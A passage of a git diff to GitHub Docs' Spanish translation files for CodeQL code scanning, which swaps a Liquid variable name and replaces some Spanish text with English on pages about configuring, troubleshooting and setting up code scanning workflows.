code on a schedule informs you about the latest vulnerabilities and errors that {% data variables.product.company_short %}, security researchers, and the community discover, even when developers aren't actively maintaining the repository. ### Scanning on push -By default, the {% data variables.product.prodname_codeql_workflow %} uses the `on.push` event to trigger a code scan on every push to the default branch of the repository and any protected branches. For {% data variables.product.prodname_code_scanning %} to be triggered on a specified branch, the workflow must exist in that branch. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#on)." +By default, the {% data variables.code-scanning.codeql_workflow %} uses the `on.push` event to trigger a code scan on every push to the default branch of the repository and any protected branches. For {% data variables.product.prodname_code_scanning %} to be triggered on a specified branch, the workflow must exist in that branch. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#on)." If you scan on push, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." @@ -77,7 +77,7 @@ Additionally, when an `on:push` scan returns results that can be mapped to an op ### Scanning pull requests -The default {% data variables.product.prodname_codeql_workflow %} uses the `pull_request` event to trigger a code scan on pull requests targeted against the default branch. {% ifversion ghes %}The `pull_request` event is not triggered if the pull request was opened from a private fork.{% else %}If a pull request is from a private fork, the `pull_request` event will only be triggered if you've selected the "Run workflows from fork pull requests" option in the repository settings. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)."{% endif %} +The default {% data variables.code-scanning.codeql_workflow %} uses the `pull_request` event to trigger a code scan on pull requests targeted against the default branch. {% ifversion ghes %}The `pull_request` event is not triggered if the pull request was opened from a private fork.{% else %}If a pull request is from a private fork, the `pull_request` event will only be triggered if you've selected the "Run workflows from fork pull requests" option in the repository settings. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)."{% endif %} For more information about the `pull_request` event, see "[Events that trigger workflows](/actions/learn-github-actions/events-that-trigger-workflows#pull_request)." @@ -123,7 +123,7 @@ For more information about using `on:pull_request:paths-ignore` and `on:pull_req ### Scanning on a schedule -If you use the default {% data variables.product.prodname_codeql_workflow %}, the workflow will scan the code in your repository once a week, in addition to the scans triggered by events. To adjust this schedule, edit the `cron` value in the workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onschedule)." +If you use the default {% data variables.code-scanning.codeql_workflow %}, the workflow will scan the code in your repository once a week, in addition to the scans triggered by events. To adjust this schedule, edit the `cron` value in the workflow. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#onschedule)." {% note %} @@ -133,7 +133,7 @@ If you use the default {% data variables.product.prodname_codeql_workflow %}, th ### Example -The following example shows a {% data variables.product.prodname_codeql_workflow %} for a particular repository that has a default branch called `main` and one protected branch called `protected`. +The following example shows a {% data variables.code-scanning.codeql_workflow %} for a particular repository that has a default branch called `main` and one protected branch called `protected`. ``` yaml on: @@ -152,7 +152,7 @@ This workflow scans: ## Specifying an operating system -If your code requires a specific operating system to compile, you can configure the operating system in your {% data variables.product.prodname_codeql_workflow %}. Edit the value of `jobs.analyze.runs-on` to specify the operating system for the machine that runs your {% data variables.product.prodname_code_scanning %} actions. {% ifversion ghes %}You specify the operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% else %} +If your code requires a specific operating system to compile, you can configure the operating system in your {% data variables.code-scanning.codeql_workflow %}. Edit the value of `jobs.analyze.runs-on` to specify the operating system for the machine that runs your {% data variables.product.prodname_code_scanning %} actions. {% ifversion ghes %}You specify the operating system by using an appropriate label as the second element in a two-element array, after `self-hosted`.{% else %} ``` yaml jobs: @@ -178,7 +178,7 @@ For recommended specifications (RAM, CPU cores, and disk) for running {% data va ## Specifying the location for {% data variables.product.prodname_codeql %} databases -In general, you do not need to worry about where the {% data variables.product.prodname_codeql_workflow %} places {% data variables.product.prodname_codeql %} databases since later steps will automatically find databases created by previous steps. However, if you are writing a custom workflow step that requires the {% data variables.product.prodname_codeql %} database to be in a specific disk location, for example to upload the database as a workflow artifact, you can specify that location using the `db-location` parameter under the `init` action. +In general, you do not need to worry about where the {% data variables.code-scanning.codeql_workflow %} places {% data variables.product.prodname_codeql %} databases since later steps will automatically find databases created by previous steps. However, if you are writing a custom workflow step that requires the {% data variables.product.prodname_codeql %} database to be in a specific disk location, for example to upload the database as a workflow artifact, you can specify that location using the `db-location` parameter under the `init` action. ``` yaml - uses: {% data reusables.actions.action-codeql-action-init %} @@ -186,9 +186,9 @@ In general, you do not need to worry about where the {% data variables.product.p db-location: {% raw %}'${{ github.workspace }}/codeql_dbs'{% endraw %} ``` -The {% data variables.product.prodname_codeql_workflow %} will expect the path provided in `db-location` to be writable, and either not exist, or be an empty directory. When using this parameter in a job running on a self-hosted runner or using a Docker container, it's the responsibility of the user to ensure that the chosen directory is cleared between runs, or that the databases are removed once they are no longer needed. {% ifversion fpt or ghec or ghes %} This is not necessary for jobs running on {% data variables.product.prodname_dotcom %}-hosted runners, which obtain a fresh instance and a clean filesystem each time they run. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."{% endif %} +The {% data variables.code-scanning.codeql_workflow %} will expect the path provided in `db-location` to be writable, and either not exist, or be an empty directory. When using this parameter in a job running on a self-hosted runner or using a Docker container, it's the responsibility of the user to ensure that the chosen directory is cleared between runs, or that the databases are removed once they are no longer needed. {% ifversion fpt or ghec or ghes %} This is not necessary for jobs running on {% data variables.product.prodname_dotcom %}-hosted runners, which obtain a fresh instance and a clean filesystem each time they run. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)."{% endif %} -If this parameter is not used, the {% data variables.product.prodname_codeql_workflow %} will create databases in a temporary location of its own choice. +If this parameter is not used, the {% data variables.code-scanning.codeql_workflow %} will create databases in a temporary location of its own choice. ## Changing the languages that are analyzed @@ -196,7 +196,7 @@ If this parameter is not used, the {% data variables.product.prodname_codeql_wor {% data reusables.code-scanning.codeql-languages-bullets %} -The default {% data variables.product.prodname_codeql_workflow %} file contains a matrix called `language` which lists the languages in your repository that are analyzed. {% data variables.product.prodname_codeql %} automatically populates this matrix when you add {% data variables.product.prodname_code_scanning %} to a repository. Using the `language` matrix optimizes {% data variables.product.prodname_codeql %} to run each analysis in parallel. We recommend that all workflows adopt this configuration due to the performance benefits of parallelizing builds. For more information about matrices, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)." +The default {% data variables.code-scanning.codeql_workflow %} file contains a matrix called `language` which lists the languages in your repository that are analyzed. {% data variables.product.prodname_codeql %} automatically populates this matrix when you add {% data variables.product.prodname_code_scanning %} to a repository. Using the `language` matrix optimizes {% data variables.product.prodname_codeql %} to run each analysis in parallel. We recommend that all workflows adopt this configuration due to the performance benefits of parallelizing builds. For more information about matrices, see "[Using a matrix for your jobs](/actions/using-jobs/using-a-matrix-for-your-jobs)." {% data reusables.code-scanning.specify-language-to-analyze %} @@ -223,7 +223,7 @@ If your workflow does not contain a matrix called `language`, then {% data varia {% ifversion fpt or ghec %} ## Analyzing Python dependencies -For GitHub-hosted runners that use Linux only, the {% data variables.product.prodname_codeql_workflow %} will try to auto-install Python dependencies to give more results for the CodeQL analysis. You can control this behavior by specifying the `setup-python-dependencies` parameter for the action called by the "Initialize CodeQL" step. By default, this parameter is set to `true`: +For GitHub-hosted runners that use Linux only, the {% data variables.code-scanning.codeql_workflow %} will try to auto-install Python dependencies to give more results for the CodeQL analysis. You can control this behavior by specifying the `setup-python-dependencies` parameter for the action called by the "Initialize CodeQL" step. By default, this parameter is set to `true`: - If the repository contains code written in Python, the "Initialize CodeQL" step installs the necessary dependencies on the GitHub-hosted runner. If the auto-install succeeds, the action also sets the environment variable `CODEQL_PYTHON` to the Python executable file that includes the dependencies. diff --git a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md index a7b2138769..1572cddf4f 100644 --- a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md +++ b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-the-codeql-workflow-for-compiled-languages.md @@ -1,7 +1,7 @@ --- title: Configuring the CodeQL workflow for compiled languages shortTitle: Configure compiled languages -intro: 'You can configure how {% data variables.product.prodname_dotcom %} uses the {% data variables.product.prodname_codeql_workflow %} to scan code written in compiled languages for vulnerabilities and errors.' +intro: 'You can configure how {% data variables.product.prodname_dotcom %} uses the {% data variables.code-scanning.codeql_workflow %} to scan code written in compiled languages for vulnerabilities and errors.' product: '{% data reusables.gated-features.code-scanning %}' permissions: 'If you have write permissions to a repository, you can configure {% data variables.product.prodname_code_scanning %} for that repository.' redirect_from: @@ -31,9 +31,9 @@ topics: {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning-actions %} -## About the {% data variables.product.prodname_codeql_workflow %} and compiled languages +## About the {% data variables.code-scanning.codeql_workflow %} and compiled languages -You set up {% data variables.product.prodname_dotcom %} to run {% data variables.product.prodname_code_scanning %} for your repository by adding a {% data variables.product.prodname_actions %} workflow to the repository. For {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}, you add the {% data variables.product.prodname_codeql_workflow %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." +You set up {% data variables.product.prodname_dotcom %} to run {% data variables.product.prodname_code_scanning %} for your repository by adding a {% data variables.product.prodname_actions %} workflow to the repository. For {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %}, you add the {% data variables.code-scanning.codeql_workflow %}. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." {% data reusables.code-scanning.edit-workflow %} For general information about configuring {% data variables.product.prodname_code_scanning %} and editing workflow files, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" and "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)." diff --git a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md index d7299686e4..12e391f7d3 100644 --- a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md +++ b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container.md @@ -1,7 +1,7 @@ --- -title: Ejecutarel escaneo de código de CodeQL en un contenedor +title: Running CodeQL code scanning in a container shortTitle: '{% data variables.product.prodname_code_scanning_capc %} in a container' -intro: 'Puedes ejecutar el {% data variables.product.prodname_code_scanning %} en un contenedor si garantizas que todos los procesos se ejecutan en el mismo contenedor.' +intro: 'You can run {% data variables.product.prodname_code_scanning %} in a container by ensuring that all processes run in the same container.' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-a-container @@ -21,44 +21,42 @@ topics: - Repositories - Containers - Java -ms.openlocfilehash: 9f4fb3cd54dda2f31ec6086419078345dad51e8d -ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/09/2022 -ms.locfileid: '147682680' --- + + {% data reusables.code-scanning.beta %} -## Acerca del {% data variables.product.prodname_code_scanning %} con una compilación en contenedor +## About {% data variables.product.prodname_code_scanning %} with a containerized build -Si estás configurando el {% data variables.product.prodname_code_scanning %} para un lenguaje compilado, y estás compilando el código en un ambiente contenido, el análisis podría fallar con el mensaje de error "No source code was seen during the build". Esto indica que {% data variables.product.prodname_codeql %} no fue capaz de monitorear tu código mientras se compilaba. +If you're setting up {% data variables.product.prodname_code_scanning %} for a compiled language, and you're building the code in a containerized environment, the analysis may fail with the error message "No source code was seen during the build." This indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code as it was compiled. -Debes ejecutar a {% data variables.product.prodname_codeql %} dentro del mismo contenedor en el que compilaste tu código. Esto se aplica ya sea si usas la {% data variables.product.prodname_codeql_cli %}{% ifversion codeql-runner-supported %} el {% data variables.product.prodname_codeql_runner %}{% endif %} o {% data variables.product.prodname_actions %}. Para la {% data variables.product.prodname_codeql_cli %} {% ifversion codeql-runner-supported %}o el {% data variables.product.prodname_codeql_runner %}{% endif %}, consulta "[Instalación de la {% data variables.product.prodname_codeql_cli %} en el sistema de CI](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)"{% ifversion codeql-runner-supported %} o "[Ejecución del {% data variables.product.prodname_codeql_runner %} en el sistema de CI](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"{% endif %} para obtener más información. Si estás utilizando {% data variables.product.prodname_actions %}, configura tu flujo de trabajo para ejecutar todas las acciones en el mismo contenedor. Para obtener más información, vea "[Flujo de trabajo de ejemplo](#example-workflow)". +You must run {% data variables.product.prodname_codeql %} inside the container in which you build your code. This applies whether you are using the {% data variables.product.prodname_codeql_cli %}{% ifversion codeql-runner-supported %}, the {% data variables.code-scanning.codeql_runner %},{% endif %} or {% data variables.product.prodname_actions %}. For the {% data variables.product.prodname_codeql_cli %} {% ifversion codeql-runner-supported %}or the {% data variables.code-scanning.codeql_runner %}{% endif %}, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)"{% ifversion codeql-runner-supported %} or "[Running {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"{% endif %} for more information. If you're using {% data variables.product.prodname_actions %}, configure your workflow to run all the actions in the same container. For more information, see "[Example workflow](#example-workflow)." {% note %} -**Nota:** {% data reusables.code-scanning.non-glibc-linux-support %} +**Note:** {% data reusables.code-scanning.non-glibc-linux-support %} {% endnote %} -## Dependencias +## Dependencies -Es posible que tengas alguna dificultad para ejecutar el {% data variables.product.prodname_code_scanning %} si el contenedor que estás utilizando carece de ciertas dependencias (Por ejemplo, Git debe instalarse y agregarse a la variable PATH). Si te encuentras con algún problema en las dependencias, revisa la lista de software que habitualmente se incluye en las imágenes de ejecutores de {% data variables.product.prodname_dotcom %}. Para obtener más información, vea los archivos `readme` específicos de la versión en estas ubicaciones: +You may have difficulty running {% data variables.product.prodname_code_scanning %} if the container you're using is missing certain dependencies (for example, Git must be installed and added to the PATH variable). If you encounter dependency issues, review the list of software typically included on {% data variables.product.prodname_dotcom %}'s runner images. For more information, see the version-specific `readme` files in these locations: * Linux: https://github.com/actions/runner-images/tree/main/images/linux * macOS: https://github.com/actions/runner-images/tree/main/images/macos * Windows: https://github.com/actions/runner-images/tree/main/images/win -## Flujo de trabajo de ejemplo +## Example workflow -{% ifversion ghes or ghae %} {% note %} +{% ifversion ghes or ghae %} +{% note %} -**Nota:** En este artículo se describen las características disponibles con la versión de la acción CodeQL y el paquete CodeQL CLI asociado que se incluye en la versión inicial de esta versión de {% data variables.product.product_name %}. Si la empresa usa una versión más reciente de la acción CodeQL, vea el [artículo sobre {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container) para obtener información sobre las características más recientes.{% ifversion not ghae %} Para obtener información sobre el uso de la versión más reciente, vea "[Configuración del examen de código para el dispositivo](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)".{% endif %} +**Note:** This article describes the features available with the version of the CodeQL action and associated CodeQL CLI bundle included in the initial release of this version of {% data variables.product.product_name %}. If your enterprise uses a more recent version of the CodeQL action, see the [{% data variables.product.prodname_ghe_cloud %} article](/enterprise-cloud@latest/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/running-codeql-code-scanning-in-a-container) for information on the latest features.{% ifversion not ghae %} For information on using the latest version, see "[Configuring code scanning for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#configuring-codeql-analysis-on-a-server-without-internet-access)."{% endif %} -{% endnote %} {% endif %} +{% endnote %} +{% endif %} -Este flujo de trabajo de muestra utiliza {% data variables.product.prodname_actions %} para ejecutar un análisis de {% data variables.product.prodname_codeql %} en un ambiente contenido. El valor de `container.image` identifica el contenedor que se va a usar. En este ejemplo, la imagen se denomina `codeql-container`, con una etiqueta de `f0f91db`. Para más información, vea "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)". +This sample workflow uses {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_codeql %} analysis in a containerized environment. The value of `container.image` identifies the container to use. In this example the image is named `codeql-container`, with a tag of `f0f91db`. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idcontainer)." ``` yaml name: "{% data variables.product.prodname_codeql %}" diff --git a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md index d4e421b540..4cad55a2e4 100644 --- a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md +++ b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/setting-up-code-scanning-for-a-repository.md @@ -95,11 +95,11 @@ You can set up {% data variables.product.prodname_code_scanning %} in any public {% data reusables.repositories.sidebar-security %} 1. To the right of "{% data variables.product.prodname_code_scanning_capc %} alerts", click **Set up {% data variables.product.prodname_code_scanning %}**.{% ifversion ghec or ghes or ghae %} If {% data variables.product.prodname_code_scanning %} is missing, you need to ask an organization owner or repository administrator to enable {% data variables.product.prodname_GH_advanced_security %}.{% endif %} For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" or "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)." !["Set up {% data variables.product.prodname_code_scanning %}" button to the right of "{% data variables.product.prodname_code_scanning_capc %}" in the Security Overview](/assets/images/help/security/overview-set-up-code-scanning.png) -4. Under "Get started with {% data variables.product.prodname_code_scanning %}", click **Set up this workflow** on the {% data variables.product.prodname_codeql_workflow %} or on a third-party workflow. - !["Set up this workflow" button under "Get started with {% data variables.product.prodname_code_scanning %}" heading](/assets/images/help/repository/code-scanning-set-up-this-workflow.png)Workflows are only displayed if they are relevant for the programming languages detected in the repository. The {% data variables.product.prodname_codeql_workflow %} is always displayed, but the "Set up this workflow" button is only enabled if {% data variables.product.prodname_codeql %} analysis supports the languages present in the repository. +4. Under "Get started with {% data variables.product.prodname_code_scanning %}", click **Set up this workflow** on the {% data variables.code-scanning.codeql_workflow %} or on a third-party workflow. + !["Set up this workflow" button under "Get started with {% data variables.product.prodname_code_scanning %}" heading](/assets/images/help/repository/code-scanning-set-up-this-workflow.png)Workflows are only displayed if they are relevant for the programming languages detected in the repository. The {% data variables.code-scanning.codeql_workflow %} is always displayed, but the "Set up this workflow" button is only enabled if {% data variables.product.prodname_codeql %} analysis supports the languages present in the repository. 5. To customize how {% data variables.product.prodname_code_scanning %} scans your code, edit the workflow. - Generally you can commit the {% data variables.product.prodname_codeql_workflow %} without making any changes to it. However, many of the third-party workflows require additional configuration, so read the comments in the workflow before committing. + Generally you can commit the {% data variables.code-scanning.codeql_workflow %} without making any changes to it. However, many of the third-party workflows require additional configuration, so read the comments in the workflow before committing. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)." 6. Use the **Start commit** drop-down, and type a commit message. @@ -108,7 +108,7 @@ You can set up {% data variables.product.prodname_code_scanning %} in any public ![Choose where to commit](/assets/images/help/repository/start-commit-choose-where-to-commit.png) 8. Click **Commit new file** or **Propose new file**. -In the default {% data variables.product.prodname_codeql_workflow %}, {% data variables.product.prodname_code_scanning %} is configured to analyze your code each time you either push a change to the default branch or any protected branches, or raise a pull request against the default branch. As a result, {% data variables.product.prodname_code_scanning %} will now commence. +In the default {% data variables.code-scanning.codeql_workflow %}, {% data variables.product.prodname_code_scanning %} is configured to analyze your code each time you either push a change to the default branch or any protected branches, or raise a pull request against the default branch. As a result, {% data variables.product.prodname_code_scanning %} will now commence. The `on:pull_request` and `on:push` triggers for code scanning are each useful for different purposes. For more information, see "[Scanning pull requests](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-pull-requests)" and "[Scanning on push](/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#scanning-on-push)." ## Bulk set up of {% data variables.product.prodname_code_scanning %} diff --git a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md index acf7f647a3..f9ca9039ad 100644 --- a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md +++ b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/triaging-code-scanning-alerts-in-pull-requests.md @@ -63,7 +63,7 @@ You can override the default behavior in your repository settings, by specifying Depending on your configuration, you may see additional checks running on pull requests with {% data variables.product.prodname_code_scanning %} configured. These are usually workflows that analyze the code or that upload {% data variables.product.prodname_code_scanning %} results. These checks are useful for troubleshooting when there are problems with the analysis. -For example, if the repository uses the {% data variables.product.prodname_codeql_workflow %} a **{% data variables.product.prodname_codeql %} / Analyze (LANGUAGE)** check is run for each language before the results check runs. The analysis check may fail if there are configuration problems, or if the pull request breaks the build for a language that the analysis needs to compile (for example, C/C++, C#, or Java). +For example, if the repository uses the {% data variables.code-scanning.codeql_workflow %} a **{% data variables.product.prodname_codeql %} / Analyze (LANGUAGE)** check is run for each language before the results check runs. The analysis check may fail if there are configuration problems, or if the pull request breaks the build for a language that the analysis needs to compile (for example, C/C++, C#, or Java). As with other pull request checks, you can see full details of the check failure on the **Checks** tab. For more information about configuring and troubleshooting, see "[Configuring {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/configuring-code-scanning)" or "[Troubleshooting the {% data variables.product.prodname_codeql %} workflow](/code-security/secure-coding/troubleshooting-the-codeql-workflow)." diff --git a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md index 11529ccbee..abab0e580d 100644 --- a/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md +++ b/translations/es-ES/content/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/troubleshooting-the-codeql-workflow.md @@ -69,7 +69,7 @@ You need to ensure that you select **Enable debug logging** . This option enable ### Creating {% data variables.product.prodname_codeql %} debugging artifacts using a workflow flag -You can create {% data variables.product.prodname_codeql %} debugging artifacts by using a flag in your workflow. For this, you need to modify the `init` step of your {% data variables.product.prodname_codeql_workflow %} file and set `debug: true`. +You can create {% data variables.product.prodname_codeql %} debugging artifacts by using a flag in your workflow. For this, you need to modify the `init` step of your {% data variables.code-scanning.codeql_workflow %} file and set `debug: true`. ```yaml - name: Initialize CodeQL @@ -212,7 +212,7 @@ If you use self-hosted runners to run {% data variables.product.prodname_codeql ### Use matrix builds to parallelize the analysis -The default {% data variables.product.prodname_codeql_workflow %} uses a matrix of languages, which causes the analysis of each language to run in parallel. If you have specified the languages you want to analyze directly in the "Initialize CodeQL" step, analysis of each language will happen sequentially. To speed up analysis of multiple languages, modify your workflow to use a matrix. For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above. +The default {% data variables.code-scanning.codeql_workflow %} uses a matrix of languages, which causes the analysis of each language to run in parallel. If you have specified the languages you want to analyze directly in the "Initialize CodeQL" step, analysis of each language will happen sequentially. To speed up analysis of multiple languages, modify your workflow to use a matrix. For more information, see the workflow extract in "[Automatic build for a compiled language fails](#automatic-build-for-a-compiled-language-fails)" above. ### Reduce the amount of code being analyzed in a single workflow @@ -243,9 +243,9 @@ You may be running extra queries or query suites in addition to the default quer ## Results differ between analysis platforms -If you are analyzing code written in Python, you may see different results depending on whether you run the {% data variables.product.prodname_codeql_workflow %} on Linux, macOS, or Windows. +If you are analyzing code written in Python, you may see different results depending on whether you run the {% data variables.code-scanning.codeql_workflow %} on Linux, macOS, or Windows. -On GitHub-hosted runners that use Linux, the {% data variables.product.prodname_codeql_workflow %} tries to install and analyze Python dependencies, which could lead to more results. To disable the auto-install, add `setup-python-dependencies: false` to the "Initialize CodeQL" step of the workflow. For more information about configuring the analysis of Python dependencies, see "[Analyzing Python dependencies](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)." +On GitHub-hosted runners that use Linux, the {% data variables.code-scanning.codeql_workflow %} tries to install and analyze Python dependencies, which could lead to more results. To disable the auto-install, add `setup-python-dependencies: false` to the "Initialize CodeQL" step of the workflow. For more information about configuring the analysis of Python dependencies, see "[Analyzing Python dependencies](/code-security/secure-coding/configuring-code-scanning#analyzing-python-dependencies)." {% endif %} @@ -289,7 +289,7 @@ on: ### Analysis still failing on the default branch -If the {% data variables.product.prodname_codeql_workflow %} still fails on a commit made on the default branch, you need to check: +If the {% data variables.code-scanning.codeql_workflow %} still fails on a commit made on the default branch, you need to check: - whether {% data variables.product.prodname_dependabot %} authored the commit - whether the pull request that includes the commit has been merged using `@dependabot squash and merge` @@ -304,7 +304,7 @@ You will see this error if CodeQL is unable to find the named query, query suite - There is a typo in the workflow. - A resource the workflow refers to by path was renamed, deleted, or moved to a new location. -After verifying the location of the resource, you can update the workflow to specify the correct location. If you run additional queries in Go analysis, you may have been affected by the relocation of the source files. For more information, see [Relocation announcement: `github/codeql-go` moving into `github/codeql`](https://github.com/github/codeql-go/issues/741) in the github/codeql-go repository. +After verifying the location of the resource, you can update the workflow to specify the correct location. ## Warning: "git checkout HEAD^2 is no longer necessary" diff --git a/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md b/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md index 12b421a65d..ed98f29737 100644 --- a/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md +++ b/translations/es-ES/content/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning.md @@ -31,7 +31,7 @@ SARIF (Static Analysis Results Interchange Format) is an [OASIS Standard](https: To upload a SARIF file from a third-party static code analysis engine, you'll need to ensure that uploaded files use the SARIF 2.1.0 version. {% data variables.product.prodname_dotcom %} will parse the SARIF file and show alerts using the results in your repository as a part of the {% data variables.product.prodname_code_scanning %} experience. For more information, see "[Uploading a SARIF file to {% data variables.product.prodname_dotcom %}](/code-security/secure-coding/uploading-a-sarif-file-to-github)." For more information about the SARIF 2.1.0 JSON schema, see [`sarif-schema-2.1.0.json`](https://github.com/oasis-tcs/sarif-spec/blob/master/Documents/CommitteeSpecifications/2.1.0/sarif-schema-2.1.0.json). -If you're using {% data variables.product.prodname_actions %} with the {% data variables.product.prodname_codeql_workflow %}{% ifversion codeql-runner-supported %}, using the {% data variables.product.prodname_codeql_runner %},{% endif %} or using the {% data variables.product.prodname_codeql_cli %}, then the {% data variables.product.prodname_code_scanning %} results will automatically use the supported subset of SARIF 2.1.0. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)"{% ifversion codeql-runner-supported %}, "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)",{% endif %} or "[Installing CodeQL CLI in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)." +If you're using {% data variables.product.prodname_actions %} with the {% data variables.code-scanning.codeql_workflow %}{% ifversion codeql-runner-supported %}, using the {% data variables.code-scanning.codeql_runner %},{% endif %} or using the {% data variables.product.prodname_codeql_cli %}, then the {% data variables.product.prodname_code_scanning %} results will automatically use the supported subset of SARIF 2.1.0. For more information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a 